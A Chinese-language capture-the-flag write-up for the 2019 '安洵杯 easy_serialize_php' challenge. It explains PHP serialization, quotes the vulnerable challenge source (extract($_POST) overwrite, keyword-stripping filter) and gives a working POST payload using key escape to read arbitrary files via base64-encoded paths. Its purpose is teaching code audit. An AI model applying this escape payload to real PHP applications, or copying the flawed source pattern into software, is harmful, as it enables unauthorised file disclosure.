[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php.md

锻炼代码审计能力和学习

PHP反序列化

反序列化中的对象逃逸

SQL注入既视感

首先明确几个点:

序列化后的结果是一串字符串。

反序列化会解开序列化的字符串生成相应类型的数据。

如下代码示例，img是一个数组，下标分别是one和two，对应的值分别是flag,test。

<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化部分:

经过serialize序列化后生成了相应的字符串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

a表示数组 , a:2中的2表示有两个键值，即对应的one、two两组键值对。

花括号中的s都表示string即字符串，

s:后面的值分别是3、4、3、4,即对应的字符串长度，比如one长度是三，flag长度是4

反序列化部分:

unserialize函数将字符串解序列化，我们用var_dump函数显示了他的详细信息。

可见解序列化后由变量$b，接收了img数组。

序列化中每个字母的表示

a	array数组
b	boolean判断类型
d	double浮点数
i	integer整数型
o	common object 一般的对象
r	reference引用类型
s	string字符串类型
C	custom object
O	class
N	null
R	pointer reference
U	unicode string

分析题目源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

发现d0g3_f1ag.php

我把可以对应起来的代码放到了一起

$function = @$_GET['f'];

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根据上面可以清楚，f是我们用get方法传参得到的变量并由$function接收。

$function发挥作用的代码块，在最下方的判断句。

咱们初步访问的时候f=highlight_file,

判断句中给了提示，那么f=phpinfo时，我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。

我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。

所以可以猜测flag应该要从d0g3_f1ag.php拿。

当f=show_image是可以读文件的，只要$userinfo['img']是相应的flag.php的base64加密，所以我们先记住这个点，一会肯定要用

发现变量覆盖

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

filter函数是为了过滤用的，可以先继续往下看，到如下的时候。

我萌发现unset函数将$_SESSION销毁了。

然后重新赋予$_SESSION了新的值。

最后调用了extract($_POST);

extract() 函数从数组中将变量导入到当前的符号表。

可参考:https://www.w3school.com.cn/php/func_array_extract.asp

举例extract()变量覆盖

根据extract()我们可以进行变量覆盖，

当我们传入SESSION[flag]=123时，$SESSION["user"]和$SESSION['function'] 全部会消失。

只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

继续往下

知道了变量符改，我们可以干什么呢，往下看叭。

由于有了如下的代码，我们直接进行变量覆盖，直接给$SESSION['img']一个预想的值是不现实的，

因为$SESSION['img'] = base64_encode('guest_img.png')是后执行的。

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

穷途末路

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

只能看看filter函数了，发现把传入的字符串几个特定字符会替换成空。

后来就是看大佬萌的wp了。

大佬萌都是用键值逃逸。

原理:因为序列化吼的字符串是严格的，对应的格式不能错，比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理，在花括号内的就是正确的，花括号后面的就都被扔掉。

示例：

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

我们有了这个逃逸概念的话，就大概可以理解了。如果我们把

$_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到花括号外边去，

然后花括号中注好新的img属性，那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了，因为咱的序列化的是个字符串啊，然后他又把黑名单的东西替换成空。

大佬的payload：

post一个数据。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符，

那么 ;s:1:"1"; 这几个字符呢?

如果使用大佬的payload那么可以明白，现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空，

s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。

两个键值分别被序列化成了

s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。

右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。

注入

发现/d0g3_fllllllag

拿flag

/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn，恰巧也是20位。就替换原来的就好。

不行了我哭了

感觉自己和那个被扔掉的序列化字符串一样是个孤儿。